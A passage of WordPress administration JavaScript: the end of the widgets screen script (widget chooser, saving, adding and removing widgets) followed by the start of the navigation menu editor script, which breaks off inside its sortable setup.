				if ( ui.draggable.hasClass('ui-sortable-helper') ) {
					$('#removing-widget').show().children('span')
					.html( ui.draggable.find( 'div.widget-title' ).children( 'h3' ).html() );
				}
			},
			out: function(e,ui) {
				ui.draggable.removeClass('deleting');
				$('div.widget-placeholder').show();
				$('#removing-widget').hide().children('span').empty();
			}
		});

		// Area Chooser.
		$( '#widgets-right .widgets-holder-wrap' ).each( function( index, element ) {
			var $element = $( element ),
				name = $element.find( '.sidebar-name h2' ).text() || '',
				ariaLabel = $element.find( '.sidebar-name' ).data( 'add-to' ),
				id = $element.find( '.widgets-sortables' ).attr( 'id' ),
				li = $( '<li>' ),
				button = $( '<button>', {
					type: 'button',
					'aria-pressed': 'false',
					'class': 'widgets-chooser-button',
					'aria-label': ariaLabel
				} ).text( name.toString().trim() );

			li.append( button );

			if ( index === 0 ) {
				li.addClass( 'widgets-chooser-selected' );
				button.attr( 'aria-pressed', 'true' );
			}

			selectSidebar.append( li );
			li.data( 'sidebarId', id );
		});

		$( '#available-widgets .widget .widget-top' ).on( 'click.widgets-chooser', function() {
			var $widget = $( this ).closest( '.widget' ),
				toggleButton = $( this ).find( '.widget-action' ),
				chooserButtons = selectSidebar.find( '.widgets-chooser-button' );

			if ( $widget.hasClass( 'widget-in-question' ) || $( '#widgets-left' ).hasClass( 'chooser' ) ) {
				toggleButton.attr( 'aria-expanded', 'false' );
				self.closeChooser();
			} else {
				// Open the chooser.
				self.clearWidgetSelection();
				$( '#widgets-left' ).addClass( 'chooser' );
				// Add CSS class and insert the chooser after the widget description.
				$widget.addClass( 'widget-in-question' ).children( '.widget-description' ).after( chooser );
				// Open the chooser with a slide down animation.
				chooser.slideDown( 300, function() {
					// Update the toggle button aria-expanded attribute after previous DOM manipulations.
					toggleButton.attr( 'aria-expanded', 'true' );
				});

				chooserButtons.on( 'click.widgets-chooser', function() {
					selectSidebar.find( '.widgets-chooser-selected' ).removeClass( 'widgets-chooser-selected' );
					chooserButtons.attr( 'aria-pressed', 'false' );
					$( this )
						.attr( 'aria-pressed', 'true' )
						.closest( 'li' ).addClass( 'widgets-chooser-selected' );
				} );
			}
		});

		// Add event handlers.
		chooser.on( 'click.widgets-chooser', function( event ) {
			var $target = $( event.target );

			if ( $target.hasClass('button-primary') ) {
				self.addWidget( chooser );
				self.closeChooser();
			} else if ( $target.hasClass( 'widgets-chooser-cancel' ) ) {
				self.closeChooser();
			}
		}).on( 'keyup.widgets-chooser', function( event ) {
			if ( event.which === $.ui.keyCode.ESCAPE ) {
				self.closeChooser();
			}
		});
	},

	saveOrder : function( sidebarId ) {
		var data = {
			action: 'widgets-order',
			savewidgets: $('#_wpnonce_widgets').val(),
			sidebars: []
		};

		if ( sidebarId ) {
			$( '#' + sidebarId ).find( '.spinner:first' ).addClass( 'is-active' );
		}

		$('div.widgets-sortables').each( function() {
			if ( $(this).sortable ) {
				data['sidebars[' + $(this).attr('id') + ']'] = $(this).sortable('toArray').join(',');
			}
		});

		$.post( ajaxurl, data, function() {
			$( '#inactive-widgets-control-remove' ).prop( 'disabled' , ! $( '#wp_inactive_widgets .widget' ).length );
			$( '.spinner' ).removeClass( 'is-active' );
		});
	},

	save : function( widget, del, animate, order ) {
		var self = this, data, a,
			sidebarId = widget.closest( 'div.widgets-sortables' ).attr( 'id' ),
			form = widget.find( 'form' ),
			isAdd = widget.find( 'input.add_new' ).val();

		if ( ! del && ! isAdd && form.prop( 'checkValidity' ) && ! form[0].checkValidity() ) {
			return;
		}

		data = form.serialize();

		widget = $(widget);
		$( '.spinner', widget ).addClass( 'is-active' );

		a = {
			action: 'save-widget',
			savewidgets: $('#_wpnonce_widgets').val(),
			sidebar: sidebarId
		};

		if ( del ) {
			a.delete_widget = 1;
		}

		data += '&' + $.param(a);

		$.post( ajaxurl, data, function(r) {
			var id = $('input.widget-id', widget).val();

			if ( del ) {
				if ( ! $('input.widget_number', widget).val() ) {
					$('#available-widgets').find('input.widget-id').each(function(){
						if ( $(this).val() === id ) {
							$(this).closest('div.widget').show();
						}
					});
				}

				if ( animate ) {
					order = 0;
					widget.slideUp( 'fast', function() {
						$( this ).remove();
						wpWidgets.saveOrder();
						delete self.dirtyWidgets[ id ];
					});
				} else {
					widget.remove();
					delete self.dirtyWidgets[ id ];

					if ( sidebarId === 'wp_inactive_widgets' ) {
						$( '#inactive-widgets-control-remove' ).prop( 'disabled' , ! $( '#wp_inactive_widgets .widget' ).length );
					}
				}
			} else {
				$( '.spinner' ).removeClass( 'is-active' );
				if ( r && r.length > 2 ) {
					$( 'div.widget-content', widget ).html( r );
					wpWidgets.appendTitle( widget );

					// Re-disable the save button.
					widget.find( '.widget-control-save' ).prop( 'disabled', true ).val( wp.i18n.__( 'Saved' ) );

					widget.removeClass( 'widget-dirty' );

					// Clear the dirty flag from the widget.
					delete self.dirtyWidgets[ id ];

					$document.trigger( 'widget-updated', [ widget ] );

					if ( sidebarId === 'wp_inactive_widgets' ) {
						$( '#inactive-widgets-control-remove' ).prop( 'disabled' , ! $( '#wp_inactive_widgets .widget' ).length );
					}
				}
			}

			if ( order ) {
				wpWidgets.saveOrder();
			}
		});
	},

	removeInactiveWidgets : function() {
		var $element = $( '.remove-inactive-widgets' ), self = this, a, data;

		$( '.spinner', $element ).addClass( 'is-active' );

		a = {
			action : 'delete-inactive-widgets',
			removeinactivewidgets : $( '#_wpnonce_remove_inactive_widgets' ).val()
		};

		data = $.param( a );

		$.post( ajaxurl, data, function() {
			$( '#wp_inactive_widgets .widget' ).each(function() {
				var $widget = $( this );
				delete self.dirtyWidgets[ $widget.find( 'input.widget-id' ).val() ];
				$widget.remove();
			});
			$( '#inactive-widgets-control-remove' ).prop( 'disabled', true );
			$( '.spinner', $element ).removeClass( 'is-active' );
		} );
	},

	appendTitle : function(widget) {
		var title = $('input[id*="-title"]', widget).val() || '';

		if ( title ) {
			title = ': ' + title.replace(/<[^<>]+>/g, '').replace(/</g, '&lt;').replace(/>/g, '&gt;');
		}

		$(widget).children('.widget-top').children('.widget-title').children()
				.children('.in-widget-title').html(title);

	},

	close : function(widget) {
		widget.children('.widget-inside').slideUp('fast', function() {
			widget.attr( 'style', '' )
				.find( '.widget-top button.widget-action' )
					.attr( 'aria-expanded', 'false' )
					.focus();
		});
	},

	addWidget: function( chooser ) {
		var widget, widgetId, add, n, viewportTop, viewportBottom, sidebarBounds,
			sidebarId = chooser.find( '.widgets-chooser-selected' ).data('sidebarId'),
			sidebar = $( '#' + sidebarId );

		widget = $('#available-widgets').find('.widget-in-question').clone();
		widgetId = widget.attr('id');
		add = widget.find( 'input.add_new' ).val();
		n = widget.find( 'input.multi_number' ).val();

		// Remove the cloned chooser from the widget.
		widget.find('.widgets-chooser').remove();

		if ( 'multi' === add ) {
			widget.html(
				widget.html().replace( /<[^<>]+>/g, function(m) {
					return m.replace( /__i__|%i%/g, n );
				})
			);

			widget.attr( 'id', widgetId.replace( '__i__', n ) );
			n++;
			$( '#' + widgetId ).find('input.multi_number').val(n);
		} else if ( 'single' === add ) {
			widget.attr( 'id', 'new-' + widgetId );
			$( '#' + widgetId ).hide();
		}

		// Open the widgets container.
		sidebar.closest( '.widgets-holder-wrap' )
			.removeClass( 'closed' )
			.find( '.handlediv' ).attr( 'aria-expanded', 'true' );

		sidebar.append( widget );
		sidebar.sortable('refresh');

		wpWidgets.save( widget, 0, 0, 1 );
		// No longer "new" widget.
		widget.find( 'input.add_new' ).val('');

		$document.trigger( 'widget-added', [ widget ] );

		/*
		 * Check if any part of the sidebar is visible in the viewport. If it is, don't scroll.
		 * Otherwise, scroll up to so the sidebar is in view.
		 *
		 * We do this by comparing the top and bottom, of the sidebar so see if they are within
		 * the bounds of the viewport.
		 */
		viewportTop = $(window).scrollTop();
		viewportBottom = viewportTop + $(window).height();
		sidebarBounds = sidebar.offset();

		sidebarBounds.bottom = sidebarBounds.top + sidebar.outerHeight();

		if ( viewportTop > sidebarBounds.bottom || viewportBottom < sidebarBounds.top ) {
			$( 'html, body' ).animate({
				scrollTop: sidebarBounds.top - 130
			}, 200 );
		}

		window.setTimeout( function() {
			// Cannot use a callback in the animation above as it fires twice,
			// have to queue this "by hand".
			widget.find( '.widget-title' ).trigger('click');
			// At the end of the animation, announce the widget has been added.
			window.wp.a11y.speak( wp.i18n.__( 'Widget has been added to the selected sidebar' ), 'assertive' );
		}, 250 );
	},

	closeChooser: function() {
		var self = this,
			widgetInQuestion = $( '#available-widgets .widget-in-question' );

		$( '.widgets-chooser' ).slideUp( 200, function() {
			$( '#wpbody-content' ).append( this );
			self.clearWidgetSelection();
			// Move focus back to the toggle button.
			widgetInQuestion.find( '.widget-action' ).attr( 'aria-expanded', 'false' ).focus();
		});
	},

	clearWidgetSelection: function() {
		$( '#widgets-left' ).removeClass( 'chooser' );
		$( '.widget-in-question' ).removeClass( 'widget-in-question' );
	},

	/**
	 * Closes a Sidebar that was previously closed, but opened by dragging a Widget over it.
	 *
	 * Used when a Widget gets dragged in/out of the Sidebar and never dropped.
	 *
	 * @param {Object} event jQuery event object.
	 */
	closeSidebar: function( event ) {
		this.hoveredSidebar
			.addClass( 'closed' )
			.find( '.handlediv' ).attr( 'aria-expanded', 'false' );

		$( event.target ).css( 'min-height', '' );
		this.hoveredSidebar = null;
	}
};

$( function(){ wpWidgets.init(); } );

})(jQuery);

/**
 * Removed in 5.5.0, needed for back-compatibility.
 *
 * @since 4.9.0
 * @deprecated 5.5.0
 *
 * @type {object}
*/
wpWidgets.l10n = wpWidgets.l10n || {
	save: '',
	saved: '',
	saveAlert: '',
	widgetAdded: ''
};

wpWidgets.l10n = window.wp.deprecateL10nObject( 'wpWidgets.l10n', wpWidgets.l10n, '5.5.0' );
/**
 * WordPress Administration Navigation Menu
 * Interface JS functions
 *
 * @version 2.0.0
 *
 * @package WordPress
 * @subpackage Administration
 * @output wp-admin/js/nav-menu.js
 */

/* global menus, postboxes, columns, isRtl, ajaxurl, wpNavMenu */

(function($) {

	var api;

	/**
	 * Contains all the functions to handle WordPress navigation menus administration.
	 *
	 * @namespace wpNavMenu
	 */
	api = window.wpNavMenu = {

		options : {
			menuItemDepthPerLevel : 30, // Do not use directly. Use depthToPx and pxToDepth instead.
			globalMaxDepth:  11,
			sortableItems:   '> *',
			targetTolerance: 0
		},

		menuList : undefined,	// Set in init.
		targetList : undefined, // Set in init.
		menusChanged : false,
		isRTL: !! ( 'undefined' != typeof isRtl && isRtl ),
		negateIfRTL: ( 'undefined' != typeof isRtl && isRtl ) ? -1 : 1,
		lastSearch: '',

		// Functions that run on init.
		init : function() {
			api.menuList = $('#menu-to-edit');
			api.targetList = api.menuList;

			this.jQueryExtensions();

			this.attachMenuEditListeners();

			this.attachBulkSelectButtonListeners();
			this.attachMenuCheckBoxListeners();
			this.attachMenuItemDeleteButton();
			this.attachPendingMenuItemsListForDeletion();

			this.attachQuickSearchListeners();
			this.attachThemeLocationsListeners();
			this.attachMenuSaveSubmitListeners();

			this.attachTabsPanelListeners();

			this.attachUnsavedChangesListener();

			if ( api.menuList.length )
				this.initSortables();

			if ( menus.oneThemeLocationNoMenus )
				$( '#posttype-page' ).addSelectedToMenu( api.addMenuItemToBottom );

			this.initManageLocations();

			this.initAccessibility();

			this.initToggles();

			this.initPreviewing();
		},

		jQueryExtensions : function() {
			// jQuery extensions.
			$.fn.extend({
				menuItemDepth : function() {
					var margin = api.isRTL ? this.eq(0).css('margin-right') : this.eq(0).css('margin-left');
					return api.pxToDepth( margin && -1 != margin.indexOf('px') ? margin.slice(0, -2) : 0 );
				},
				updateDepthClass : function(current, prev) {
					return this.each(function(){
						var t = $(this);
						prev = prev || t.menuItemDepth();
						$(this).removeClass('menu-item-depth-'+ prev )
							.addClass('menu-item-depth-'+ current );
					});
				},
				shiftDepthClass : function(change) {
					return this.each(function(){
						var t = $(this),
							depth = t.menuItemDepth(),
							newDepth = depth + change;

						t.removeClass( 'menu-item-depth-'+ depth )
							.addClass( 'menu-item-depth-'+ ( newDepth ) );

						if ( 0 === newDepth ) {
							t.find( '.is-submenu' ).hide();
						}
					});
				},
				childMenuItems : function() {
					var result = $();
					this.each(function(){
						var t = $(this), depth = t.menuItemDepth(), next = t.next( '.menu-item' );
						while( next.length && next.menuItemDepth() > depth ) {
							result = result.add( next );
							next = next.next( '.menu-item' );
						}
					});
					return result;
				},
				shiftHorizontally : function( dir ) {
					return this.each(function(){
						var t = $(this),
							depth = t.menuItemDepth(),
							newDepth = depth + dir;

						// Change .menu-item-depth-n class.
						t.moveHorizontally( newDepth, depth );
					});
				},
				moveHorizontally : function( newDepth, depth ) {
					return this.each(function(){
						var t = $(this),
							children = t.childMenuItems(),
							diff = newDepth - depth,
							subItemText = t.find('.is-submenu');

						// Change .menu-item-depth-n class.
						t.updateDepthClass( newDepth, depth ).updateParentMenuItemDBId();

						// If it has children, move those too.
						if ( children ) {
							children.each(function() {
								var t = $(this),
									thisDepth = t.menuItemDepth(),
									newDepth = thisDepth + diff;
								t.updateDepthClass(newDepth, thisDepth).updateParentMenuItemDBId();
							});
						}

						// Show "Sub item" helper text.
						if (0 === newDepth)
							subItemText.hide();
						else
							subItemText.show();
					});
				},
				updateParentMenuItemDBId : function() {
					return this.each(function(){
						var item = $(this),
							input = item.find( '.menu-item-data-parent-id' ),
							depth = parseInt( item.menuItemDepth(), 10 ),
							parentDepth = depth - 1,
							parent = item.prevAll( '.menu-item-depth-' + parentDepth ).first();

						if ( 0 === depth ) { // Item is on the top level, has no parent.
							input.val(0);
						} else { // Find the parent item, and retrieve its object id.
							input.val( parent.find( '.menu-item-data-db-id' ).val() );
						}
					});
				},
				hideAdvancedMenuItemFields : function() {
					return this.each(function(){
						var that = $(this);
						$('.hide-column-tog').not(':checked').each(function(){
							that.find('.field-' + $(this).val() ).addClass('hidden-field');
						});
					});
				},
				/**
				 * Adds selected menu items to the menu.
				 *
				 * @ignore
				 *
				 * @param jQuery metabox The metabox jQuery object.
				 */
				addSelectedToMenu : function(processMethod) {
					if ( 0 === $('#menu-to-edit').length ) {
						return false;
					}

					return this.each(function() {
						var t = $(this), menuItems = {},
							checkboxes = ( menus.oneThemeLocationNoMenus && 0 === t.find( '.tabs-panel-active .categorychecklist li input:checked' ).length ) ? t.find( '#page-all li input[type="checkbox"]' ) : t.find( '.tabs-panel-active .categorychecklist li input:checked' ),
							re = /menu-item\[([^\]]*)/;

						processMethod = processMethod || api.addMenuItemToBottom;

						// If no items are checked, bail.
						if ( !checkboxes.length )
							return false;

						// Show the Ajax spinner.
						t.find( '.button-controls .spinner' ).addClass( 'is-active' );

						// Retrieve menu item data.
						$(checkboxes).each(function(){
							var t = $(this),
								listItemDBIDMatch = re.exec( t.attr('name') ),
								listItemDBID = 'undefined' == typeof listItemDBIDMatch[1] ? 0 : parseInt(listItemDBIDMatch[1], 10);

							if ( this.className && -1 != this.className.indexOf('add-to-top') )
								processMethod = api.addMenuItemToTop;
							menuItems[listItemDBID] = t.closest('li').getItemData( 'add-menu-item', listItemDBID );
						});

						// Add the items.
						api.addItemToMenu(menuItems, processMethod, function(){
							// Deselect the items and hide the Ajax spinner.
							checkboxes.prop( 'checked', false );
							t.find( '.button-controls .select-all' ).prop( 'checked', false );
							t.find( '.button-controls .spinner' ).removeClass( 'is-active' );
						});
					});
				},
				getItemData : function( itemType, id ) {
					itemType = itemType || 'menu-item';

					var itemData = {}, i,
					fields = [
						'menu-item-db-id',
						'menu-item-object-id',
						'menu-item-object',
						'menu-item-parent-id',
						'menu-item-position',
						'menu-item-type',
						'menu-item-title',
						'menu-item-url',
						'menu-item-description',
						'menu-item-attr-title',
						'menu-item-target',
						'menu-item-classes',
						'menu-item-xfn'
					];

					if( !id && itemType == 'menu-item' ) {
						id = this.find('.menu-item-data-db-id').val();
					}

					if( !id ) return itemData;

					this.find('input').each(function() {
						var field;
						i = fields.length;
						while ( i-- ) {
							if( itemType == 'menu-item' )
								field = fields[i] + '[' + id + ']';
							else if( itemType == 'add-menu-item' )
								field = 'menu-item[' + id + '][' + fields[i] + ']';

							if (
								this.name &&
								field == this.name
							) {
								itemData[fields[i]] = this.value;
							}
						}
					});

					return itemData;
				},
				setItemData : function( itemData, itemType, id ) { // Can take a type, such as 'menu-item', or an id.
					itemType = itemType || 'menu-item';

					if( !id && itemType == 'menu-item' ) {
						id = $('.menu-item-data-db-id', this).val();
					}

					if( !id ) return this;

					this.find('input').each(function() {
						var t = $(this), field;
						$.each( itemData, function( attr, val ) {
							if( itemType == 'menu-item' )
								field = attr + '[' + id + ']';
							else if( itemType == 'add-menu-item' )
								field = 'menu-item[' + id + '][' + attr + ']';

							if ( field == t.attr('name') ) {
								t.val( val );
							}
						});
					});
					return this;
				}
			});
		},

		countMenuItems : function( depth ) {
			return $( '.menu-item-depth-' + depth ).length;
		},

		moveMenuItem : function( $this, dir ) {

			var items, newItemPosition, newDepth,
				menuItems = $( '#menu-to-edit li' ),
				menuItemsCount = menuItems.length,
				thisItem = $this.parents( 'li.menu-item' ),
				thisItemChildren = thisItem.childMenuItems(),
				thisItemData = thisItem.getItemData(),
				thisItemDepth = parseInt( thisItem.menuItemDepth(), 10 ),
				thisItemPosition = parseInt( thisItem.index(), 10 ),
				nextItem = thisItem.next(),
				nextItemChildren = nextItem.childMenuItems(),
				nextItemDepth = parseInt( nextItem.menuItemDepth(), 10 ) + 1,
				prevItem = thisItem.prev(),
				prevItemDepth = parseInt( prevItem.menuItemDepth(), 10 ),
				prevItemId = prevItem.getItemData()['menu-item-db-id'],
				a11ySpeech = menus[ 'moved' + dir.charAt(0).toUpperCase() + dir.slice(1) ];

			switch ( dir ) {
			case 'up':
				newItemPosition = thisItemPosition - 1;

				// Already at top.
				if ( 0 === thisItemPosition )
					break;

				// If a sub item is moved to top, shift it to 0 depth.
				if ( 0 === newItemPosition && 0 !== thisItemDepth )
					thisItem.moveHorizontally( 0, thisItemDepth );

				// If prev item is sub item, shift to match depth.
				if ( 0 !== prevItemDepth )
					thisItem.moveHorizontally( prevItemDepth, thisItemDepth );

				// Does this item have sub items?
				if ( thisItemChildren ) {
					items = thisItem.add( thisItemChildren );
					// Move the entire block.
					items.detach().insertBefore( menuItems.eq( newItemPosition ) ).updateParentMenuItemDBId();
				} else {
					thisItem.detach().insertBefore( menuItems.eq( newItemPosition ) ).updateParentMenuItemDBId();
				}
				break;
			case 'down':
				// Does this item have sub items?
				if ( thisItemChildren ) {
					items = thisItem.add( thisItemChildren ),
						nextItem = menuItems.eq( items.length + thisItemPosition ),
						nextItemChildren = 0 !== nextItem.childMenuItems().length;

					if ( nextItemChildren ) {
						newDepth = parseInt( nextItem.menuItemDepth(), 10 ) + 1;
						thisItem.moveHorizontally( newDepth, thisItemDepth );
					}

					// Have we reached the bottom?
					if ( menuItemsCount === thisItemPosition + items.length )
						break;

					items.detach().insertAfter( menuItems.eq( thisItemPosition + items.length ) ).updateParentMenuItemDBId();
				} else {
					// If next item has sub items, shift depth.
					if ( 0 !== nextItemChildren.length )
						thisItem.moveHorizontally( nextItemDepth, thisItemDepth );

					// Have we reached the bottom?
					if ( menuItemsCount === thisItemPosition + 1 )
						break;
					thisItem.detach().insertAfter( menuItems.eq( thisItemPosition + 1 ) ).updateParentMenuItemDBId();
				}
				break;
			case 'top':
				// Already at top.
				if ( 0 === thisItemPosition )
					break;
				// Does this item have sub items?
				if ( thisItemChildren ) {
					items = thisItem.add( thisItemChildren );
					// Move the entire block.
					items.detach().insertBefore( menuItems.eq( 0 ) ).updateParentMenuItemDBId();
				} else {
					thisItem.detach().insertBefore( menuItems.eq( 0 ) ).updateParentMenuItemDBId();
				}
				break;
			case 'left':
				// As far left as possible.
				if ( 0 === thisItemDepth )
					break;
				thisItem.shiftHorizontally( -1 );
				break;
			case 'right':
				// Can't be sub item at top.
				if ( 0 === thisItemPosition )
					break;
				// Already sub item of prevItem.
				if ( thisItemData['menu-item-parent-id'] === prevItemId )
					break;
				thisItem.shiftHorizontally( 1 );
				break;
			}
			$this.trigger( 'focus' );
			api.registerChange();
			api.refreshKeyboardAccessibility();
			api.refreshAdvancedAccessibility();

			if ( a11ySpeech ) {
				wp.a11y.speak( a11ySpeech );
			}
		},

		initAccessibility : function() {
			var menu = $( '#menu-to-edit' );

			api.refreshKeyboardAccessibility();
			api.refreshAdvancedAccessibility();

			// Refresh the accessibility when the user comes close to the item in any way.
			menu.on( 'mouseenter.refreshAccessibility focus.refreshAccessibility touchstart.refreshAccessibility' , '.menu-item' , function(){
				api.refreshAdvancedAccessibilityOfItem( $( this ).find( 'a.item-edit' ) );
			} );

			// We have to update on click as well because we might hover first, change the item, and then click.
			menu.on( 'click', 'a.item-edit', function() {
				api.refreshAdvancedAccessibilityOfItem( $( this ) );
			} );

			// Links for moving items.
			menu.on( 'click', '.menus-move', function () {
				var $this = $( this ),
					dir = $this.data( 'dir' );

				if ( 'undefined' !== typeof dir ) {
					api.moveMenuItem( $( this ).parents( 'li.menu-item' ).find( 'a.item-edit' ), dir );
				}
			});
		},

		/**
		 * refreshAdvancedAccessibilityOfItem( [itemToRefresh] )
		 *
		 * Refreshes advanced accessibility buttons for one menu item.
		 * Shows or hides buttons based on the location of the menu item.
		 *
		 * @param {Object} itemToRefresh The menu item that might need its advanced accessibility buttons refreshed
		 */
		refreshAdvancedAccessibilityOfItem : function( itemToRefresh ) {

			// Only refresh accessibility when necessary.
			if ( true !== $( itemToRefresh ).data( 'needs_accessibility_refresh' ) ) {
				return;
			}

			var thisLink, thisLinkText, primaryItems, itemPosition, title,
				parentItem, parentItemId, parentItemName, subItems,
				$this = $( itemToRefresh ),
				menuItem = $this.closest( 'li.menu-item' ).first(),
				depth = menuItem.menuItemDepth(),
				isPrimaryMenuItem = ( 0 === depth ),
				itemName = $this.closest( '.menu-item-handle' ).find( '.menu-item-title' ).text(),
				position = parseInt( menuItem.index(), 10 ),
				prevItemDepth = ( isPrimaryMenuItem ) ? depth : parseInt( depth - 1, 10 ),
				prevItemNameLeft = menuItem.prevAll('.menu-item-depth-' + prevItemDepth).first().find( '.menu-item-title' ).text(),
				prevItemNameRight = menuItem.prevAll('.menu-item-depth-' + depth).first().find( '.menu-item-title' ).text(),
				totalMenuItems = $('#menu-to-edit li').length,
				hasSameDepthSibling = menuItem.nextAll( '.menu-item-depth-' + depth ).length;

				menuItem.find( '.field-move' ).toggle( totalMenuItems > 1 );

			// Where can they move this menu item?
			if ( 0 !== position ) {
				thisLink = menuItem.find( '.menus-move-up' );
				thisLink.attr( 'aria-label', menus.moveUp ).css( 'display', 'inline' );
			}

			if ( 0 !== position && isPrimaryMenuItem ) {
				thisLink = menuItem.find( '.menus-move-top' );
				thisLink.attr( 'aria-label', menus.moveToTop ).css( 'display', 'inline' );
			}

			if ( position + 1 !== totalMenuItems && 0 !== position ) {
				thisLink = menuItem.find( '.menus-move-down' );
				thisLink.attr( 'aria-label', menus.moveDown ).css( 'display', 'inline' );
			}

			if ( 0 === position && 0 !== hasSameDepthSibling ) {
				thisLink = menuItem.find( '.menus-move-down' );
				thisLink.attr( 'aria-label', menus.moveDown ).css( 'display', 'inline' );
			}

			if ( ! isPrimaryMenuItem ) {
				thisLink = menuItem.find( '.menus-move-left' ),
				thisLinkText = menus.outFrom.replace( '%s', prevItemNameLeft );
				thisLink.attr( 'aria-label', menus.moveOutFrom.replace( '%s', prevItemNameLeft ) ).text( thisLinkText ).css( 'display', 'inline' );
			}

			if ( 0 !== position ) {
				if ( menuItem.find( '.menu-item-data-parent-id' ).val() !== menuItem.prev().find( '.menu-item-data-db-id' ).val() ) {
					thisLink = menuItem.find( '.menus-move-right' ),
					thisLinkText = menus.under.replace( '%s', prevItemNameRight );
					thisLink.attr( 'aria-label', menus.moveUnder.replace( '%s', prevItemNameRight ) ).text( thisLinkText ).css( 'display', 'inline' );
				}
			}

			if ( isPrimaryMenuItem ) {
				primaryItems = $( '.menu-item-depth-0' ),
				itemPosition = primaryItems.index( menuItem ) + 1,
				totalMenuItems = primaryItems.length,

				// String together help text for primary menu items.
				title = menus.menuFocus.replace( '%1$s', itemName ).replace( '%2$d', itemPosition ).replace( '%3$d', totalMenuItems );
			} else {
				parentItem = menuItem.prevAll( '.menu-item-depth-' + parseInt( depth - 1, 10 ) ).first(),
				parentItemId = parentItem.find( '.menu-item-data-db-id' ).val(),
				parentItemName = parentItem.find( '.menu-item-title' ).text(),
				subItems = $( '.menu-item .menu-item-data-parent-id[value="' + parentItemId + '"]' ),
				itemPosition = $( subItems.parents('.menu-item').get().reverse() ).index( menuItem ) + 1;

				// String together help text for sub menu items.
				title = menus.subMenuFocus.replace( '%1$s', itemName ).replace( '%2$d', itemPosition ).replace( '%3$s', parentItemName );
			}

			$this.attr( 'aria-label', title );

			// Mark this item's accessibility as refreshed.
			$this.data( 'needs_accessibility_refresh', false );
		},

		/**
		 * refreshAdvancedAccessibility
		 *
		 * Hides all advanced accessibility buttons and marks them for refreshing.
		 */
		refreshAdvancedAccessibility : function() {

			// Hide all the move buttons by default.
			$( '.menu-item-settings .field-move .menus-move' ).hide();

			// Mark all menu items as unprocessed.
			$( 'a.item-edit' ).data( 'needs_accessibility_refresh', true );

			// All open items have to be refreshed or they will show no links.
			$( '.menu-item-edit-active a.item-edit' ).each( function() {
				api.refreshAdvancedAccessibilityOfItem( this );
			} );
		},

		refreshKeyboardAccessibility : function() {
			$( 'a.item-edit' ).off( 'focus' ).on( 'focus', function(){
				$(this).off( 'keydown' ).on( 'keydown', function(e){

					var arrows,
						$this = $( this ),
						thisItem = $this.parents( 'li.menu-item' ),
						thisItemData = thisItem.getItemData();

					// Bail if it's not an arrow key.
					if ( 37 != e.which && 38 != e.which && 39 != e.which && 40 != e.which )
						return;

					// Avoid multiple keydown events.
					$this.off('keydown');

					// Bail if there is only one menu item.
					if ( 1 === $('#menu-to-edit li').length )
						return;

					// If RTL, swap left/right arrows.
					arrows = { '38': 'up', '40': 'down', '37': 'left', '39': 'right' };
					if ( $('body').hasClass('rtl') )
						arrows = { '38' : 'up', '40' : 'down', '39' : 'left', '37' : 'right' };

					switch ( arrows[e.which] ) {
					case 'up':
						api.moveMenuItem( $this, 'up' );
						break;
					case 'down':
						api.moveMenuItem( $this, 'down' );
						break;
					case 'left':
						api.moveMenuItem( $this, 'left' );
						break;
					case 'right':
						api.moveMenuItem( $this, 'right' );
						break;
					}
					// Put focus back on same menu item.
					$( '#edit-' + thisItemData['menu-item-db-id'] ).trigger( 'focus' );
					return false;
				});
			});
		},

		initPreviewing : function() {
			// Update the item handle title when the navigation label is changed.
			$( '#menu-to-edit' ).on( 'change input', '.edit-menu-item-title', function(e) {
				var input = $( e.currentTarget ), title, titleEl;
				title = input.val();
				titleEl = input.closest( '.menu-item' ).find( '.menu-item-title' );
				// Don't update to empty title.
				if ( title ) {
					titleEl.text( title ).removeClass( 'no-title' );
				} else {
					titleEl.text( wp.i18n._x( '(no label)', 'missing menu item navigation label' ) ).addClass( 'no-title' );
				}
			} );
		},

		initToggles : function() {
			// Init postboxes.
			postboxes.add_postbox_toggles('nav-menus');

			// Adjust columns functions for menus UI.
			columns.useCheckboxesForHidden();
			columns.checked = function(field) {
				$('.field-' + field).removeClass('hidden-field');
			};
			columns.unchecked = function(field) {
				$('.field-' + field).addClass('hidden-field');
			};
			// Hide fields.
			api.menuList.hideAdvancedMenuItemFields();

			$('.hide-postbox-tog').on( 'click', function () {
				var hidden = $( '.accordion-container li.accordion-section' ).filter(':hidden').map(function() { return this.id; }).get().join(',');
				$.post(ajaxurl, {
					action: 'closed-postboxes',
					hidden: hidden,
					closedpostboxesnonce: jQuery('#closedpostboxesnonce').val(),
					page: 'nav-menus'
				});
			});
		},

		initSortables : function() {
			var currentDepth = 0, originalDepth, minDepth, maxDepth,
				prev, next, prevBottom, nextThreshold, helperHeight, transport,
				menuEdge = api.menuList.offset().left,
				body = $('body'), maxChildDepth,
				menuMaxDepth = initialMenuMaxDepth();

			if( 0 !== $( '#menu-to-edit li' ).length )
				$( '.drag-instructions' ).show();

			// Use the right edge if RTL.
			menuEdge += api.isRTL ? api.menuList.width() : 0;

			api.menuList.sortable({
				handle: '.menu-item-handle',
				placeholder: 'sortable-placeholder',
				items: api.options.sortableItems,
				start: function(e, ui) {
					var height, width, parent, children, tempHolder;

					// Handle placement for RTL orientation.
					if ( api.isRTL )
						ui.item[0].style.right = 'auto';

					transport = ui.item.children('.menu-item-transport');

					// Set depths. currentDepth must be set before children are located.
					originalDepth = ui.item.menuItemDepth();
					updateCurrentDepth(ui, originalDepth);

					// Attach child elements to parent.
					// Skip the placeholder.
					parent = ( ui.item.next()[0] == ui.placeholder[0] ) ? ui.item.next() : ui.item;
					children = parent.childMenuItems();
					transport.append( children );

					// Update the height of the placeholder to match the moving item.
					height = transport.outerHeight();
					// If there are children, account for distance between top of children and parent.
					height += ( height > 0 ) ? (ui.placeholder.css('margin-top').slice(0, -2) * 1) : 0;
					height += ui.helper.outerHeight();
					helperHeight = height;
					height -= 2;                                              // Subtract 2 for borders.
					ui.placeholder.height(height);

					// Update the width of the placeholder to match the moving item.
					maxChildDepth = originalDepth;
					children.each(function(){
						var depth = $(this).menuItemDepth();
						maxChildDepth = (depth > maxChildDepth) ? depth : maxChildDepth;
					});
					width = ui.helper.find('.menu-item-handle').outerWidth(); // Get original width.
					width += api.depthToPx(maxChildDepth - originalDepth);    // Account for children.
					width -= 2;                                               // Subtract 2 for borders.
					ui.placeholder.width(width);

					// Update the list of menu items.
					tempHolder = ui.placeholder.next( '.menu-item' );
					tempHolder.css( 'margin-top', helperHeight + 'px' ); // Set the margin to absorb the placeholder.
					ui.placeholder.detach();         // Detach or jQuery UI will think the placeholder is a menu item.
					$(this).sortable( 'refresh' );   // The children aren't sortable. We should let jQuery UI know.
